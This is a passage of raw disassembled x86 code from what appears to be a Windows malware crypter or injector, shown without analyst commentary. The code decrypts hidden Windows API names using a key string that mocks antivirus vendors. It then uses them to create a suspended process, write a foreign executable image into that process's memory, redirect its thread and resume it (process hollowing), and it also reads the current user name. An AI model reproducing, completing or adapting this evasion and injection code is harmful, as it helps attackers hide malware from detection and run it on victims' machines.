		push	ebx
		call	sub_403CCC	; GetProcAddress
		mov	[esi], eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044A4
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407694, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044C0
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407674, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044D8
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset loc_4044F4
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407680, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404510
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407684, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40452C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407688, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404544
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40769C, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404558
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40768C, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404574
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40767C, eax
		lea	ecx, [ebp+var_38]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40458C
		call	sub_403E78
		mov	eax, [ebp+var_38]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	dword ptr [esi]
		mov	ds:dword_407698, eax
		lea	ecx, [ebp+var_3C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4045AC
		call	sub_403E78
		mov	eax, [ebp+var_3C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4076A0, eax
		mov	eax, offset dword_4044D8
		lea	ecx, [ebp+var_40]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		call	sub_403E78
		mov	eax, [ebp+var_40]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		push	ebx
		call	ds:dword_40769C	; FreeLibrary
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_40769C	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404426


loc_404411:				; CODE XREF: sub_4041C0+264j
		lea	eax, [ebp+var_40]
		mov	edx, 0Fh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40441F:				; DATA XREF: sub_4041C0+19o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404411
; ---------------------------------------------------------------------------


loc_404426:				; CODE XREF: sub_4041C0+25Ej
					; DATA XREF: sub_4041C0+24Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4041C0	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_0	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4041C0+27o
					; sub_4041C0+49o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404460	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 9
dword_404478	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 0Ehdword_40448C	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+71o
		dd 10h
dword_4044A4	dd 0EB54354Dh, 94D0E7FCh, 0C9011D4Eh, 0C8ABC8C5h, 0
					; DATA XREF: sub_4041C0+94o
		dd 0FFFFFFFFh, 0Ch
dword_4044C0	dd 0EA553949h, 0ACE8E3E4h, 0C814174Eh, 0		dd 0FFFFFFFFh, 10h
dword_4044D8	dd 0CB523948h, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+DAo
					; sub_4041C0+210o
		dd 0FFFFFFFFh, 11h
; ---------------------------------------------------------------------------


loc_4044F4:				; DATA XREF: sub_4041C0+FDo
		dec	ecx
		cmp	[edi-5], eax
		fxtract
		shl	dword ptr [edi-1EF9FEA7h], cl
		retn
; ---------------------------------------------------------------------------
		db 0D1h, 81h, 0C2h
		dd 38h,	0FFFFFFFFh, 10h
dword_404510	dd 0CB52395Ch, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+120o
		dd 0FFFFFFFFh, 0Eh
dword_40452C	dd 0FE432E58h, 0B6ECE3FDh, 0DF101153h, 0FDD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+143o
		dd 0Bh
dword_404544	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh, 0FFFFFFFFh,	12h
					; DATA XREF: sub_4041C0+166o
dword_404558	dd 0EB4F2E4Ch, 0ABCED6ECh, 0DF06175Fh, 0DF83D9EBh, 6E33h
					; DATA XREF: sub_4041C0+189o
		dd 0FFFFFFFFh, 0Eh
dword_404574	dd 0EB54354Dh, 85D0E7FCh, 0CF1A1E50h, 0C4E3h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+1ACo
		dd 14h
dword_40458C	dd 0F1732B41h, 92CCE7E4h, 0E3021755h, 0D38BEFC0h, 0B9FF7E35h
					; DATA XREF: sub_4041C0+1CFo
		dd 0
		dd 0FFFFFFFFh, 10h
dword_4045AC	dd 0F254394Fh, 0B0DDE8E0h, 0C3072259h, 0C39DD9C5h, 0
					; DATA XREF: sub_4041C0+1F5o

; =============== S U B	R O U T	I N E =======================================



sub_4045C0	proc near		; CODE XREF: sub_404604+28p
					; sub_404604+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_4045C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4045CC	proc near		; CODE XREF: sub_404604+20p
					; sub_404604+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4045CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404604	proc near		; CODE XREF: sub_40468C+8p
					; sub_4046A4+8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40467E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4045CC
		mov	eax, [ebp+var_10]
		call	sub_4045C0
		lea	edx, [ebp+var_C]
		call	sub_4045CC
		mov	eax, [ebp+var_C]
		call	sub_4045C0
		lea	edx, [ebp+var_8]
		call	sub_4045CC
		mov	eax, [ebp+var_8]
		call	sub_4045C0
		lea	edx, [ebp+var_4]
		call	sub_4045CC
		mov	eax, [ebp+var_4]
		call	sub_4045C0
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404685


loc_404670:				; CODE XREF: sub_404604+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40467E:				; DATA XREF: sub_404604+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404670
; ---------------------------------------------------------------------------


loc_404685:				; CODE XREF: sub_404604+79j
					; DATA XREF: sub_404604+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404604	endp


; =============== S U B	R O U T	I N E =======================================



sub_40468C	proc near		; CODE XREF: sub_4046C0+195p
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebx+18h]
		movzx	edx, word ptr [ebx+14h]
		add	eax, edx
		pop	ebx
		retn
sub_40468C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A4	proc near		; CODE XREF: sub_4046C0+1EAp
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		shr	ebx, 1Dh
		mov	eax, ds:dword_4060A0[ebx*4]
		pop	ebx
		retn
sub_4046A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046C0	proc near		; CODE XREF: CODE:00405408p

var_148		= dword	ptr -148h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_4C		= word ptr -4Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_4037EC
		mov	eax, [ebp+var_C]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404987
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4041C0
		xor	ebx, ebx
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_402B44
		lea	eax, [ebp+var_7C]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_402B44
		mov	[ebp+var_7C], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_4C], ax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	ds:dword_407688
		test	eax, eax
		jz	loc_40496C
		mov	[ebp+var_21], 1
		mov	eax, 7Ch
		call	sub_404604
		xor	eax, eax
		push	ebp
		push	offset loc_404965
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_148], 10002h
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407684
		test	eax, eax
		jz	loc_40492C
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407680
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407698
		test	eax, eax
		jb	loc_40492C
		cmp	[ebp+var_4], 0
		jz	loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_20]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40767C
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40492C
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_20]
		call	sub_40468C
		mov	esi, eax
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_4048CD
		inc	eax
		mov	[ebp+var_28], eax
		xor	ebx, ebx


loc_404878:				; CODE XREF: sub_4046C0+20Bj
		lea	eax, [ebp+var_18]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_4048C7
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_4046A4
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407694


loc_4048C7:				; CODE XREF: sub_4046C0+1E0j
		inc	ebx
		dec	[ebp+var_28]
		jnz	short loc_404878


loc_4048CD:				; CODE XREF: sub_4046C0+1B0j
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_10]
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407678
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_21], al


loc_40492C:				; CODE XREF: sub_4046C0+DFj
					; sub_4046C0+105j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40496C


loc_404939:				; CODE XREF: sub_4046C0+2AAj
		cmp	[ebp+var_21], 0
		jnz	short loc_40494D
		push	0
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4076A0
		jmp	short loc_404957
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: sub_4046C0+27Dj
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407674


loc_404957:				; CODE XREF: sub_4046C0+28Bj
		mov	eax, 7Ch
		call	sub_404604
		mov	bl, [ebp+var_21]
		retn
; ---------------------------------------------------------------------------


loc_404965:				; DATA XREF: sub_4046C0+B7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404939
; ---------------------------------------------------------------------------


loc_40496C:				; CODE XREF: sub_4046C0+A0j
					; DATA XREF: sub_4046C0+274o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40498E


loc_404979:				; CODE XREF: sub_4046C0+2CCj
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404987:				; DATA XREF: sub_4046C0+28o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404979
; ---------------------------------------------------------------------------


loc_40498E:				; CODE XREF: sub_4046C0+2C6j
					; DATA XREF: sub_4046C0+2B4o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4046C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40499C	proc near		; DATA XREF: CODE:0040529Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4049C1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4049C8


loc_4049C0:				; CODE XREF: sub_40499C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4049C1:				; DATA XREF: sub_40499C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4049C0
; ---------------------------------------------------------------------------


loc_4049C8:				; CODE XREF: sub_40499C:loc_4049C0j
					; DATA XREF: sub_40499C+1Fo
		pop	ebp
		retn
sub_40499C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4049CC	proc near		; DATA XREF: CODE:00405298o
		sub	ds:dword_4076A4, 1
		retn
sub_4049CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4049D4	proc near		; CODE XREF: sub_4049DC+80p
		jmp	ds:dword_40812C
sub_4049D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049DC	proc near		; CODE XREF: CODE:004052D3p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6


loc_4049E4:				; CODE XREF: sub_4049DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4049E4
		push	ecx
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_404C1E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C60
		call	sub_403E78
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C78
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	esi, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C90
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	sub_4049D4	; GetProcAddress
		mov	ds:dword_4076A8, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CA8
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076CC, eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CBC
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076AC, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CD8
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B0, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CF0
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B4, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D0C
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B8, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D24
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076BC, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D3C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C0, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D54
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C4, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D6C
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C8, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D84
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	edx, ds:off_4060C0
		mov	[edx], eax
		push	ebx
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		push	esi
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404C25


loc_404C10:				; CODE XREF: sub_4049DC+247j
		lea	eax, [ebp+var_34]
		mov	edx, 0Dh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404C1E:				; DATA XREF: sub_4049DC+15o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404C10
; ---------------------------------------------------------------------------


loc_404C25:				; CODE XREF: sub_4049DC+241j
					; DATA XREF: sub_4049DC+22Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4049DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_1	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4049DC+23o
					; sub_4049DC+45o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404C60	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 0Ch
dword_404C78	dd 0FE50387Ah, 0F68FEFF9h, 0C0191612h, 0		dd 0FFFFFFFFh, 0Eh
dword_404C90	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+6Co
		dd 0Bh
dword_404CA8	dd 0EB4F245Eh, 0A7D3F4D9h, 60159h, 0FFFFFFFFh, 12h
					; DATA XREF: sub_4049DC+92o
dword_404CBC	dd 0D952395Ch, 85D9EAE0h, 0C5070648h, 0D59AC9C4h, 5632h
					; DATA XREF: sub_4049DC+B9o
		dd 0FFFFFFFFh, 0Ch
dword_404CD8	dd 0CA52395Ch, 8ACEE3FAh, 0ED101F5Dh, 0		dd 0FFFFFFFFh, 10h
dword_404CF0	dd 0DC52395Ch, 0B1CCEBE6h, 0E2071748h, 0F18BD1C7h, 0
					; DATA XREF: sub_4049DC+107o
		dd 0FFFFFFFFh, 0Dh
dword_404D0C	dd 0FB48355Dh, 0ABCFE3DBh, 0C9160049h, 0E7h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+12Eo
		dd 0Eh
dword_404D24	dd 0FA5C3548h, 0A1EEE0E6h, 0DE001D4Fh, 0D9C5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+155o
		dd 0Ch
dword_404D3C	dd 0FB473357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D54	dd 0F4453357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D6C	dd 0FA432E5Dh, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Bh
dword_404D84	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh
; =============== S U B	R O U T	I N E =======================================



sub_404D90	proc near		; CODE XREF: sub_405138+20p
					; sub_405138+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_404D90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404DC8	proc near		; CODE XREF: sub_405138+28p
					; sub_405138+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_404DC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DD4	proc near		; CODE XREF: sub_404E94+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_404E42
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_8], 0FDh
		lea	eax, [ebp+var_4]
		mov	edx, 0FEh
		call	sub_403854
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	ds:dword_4076B0	; GetUserNameA
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_403854
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_4035B4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
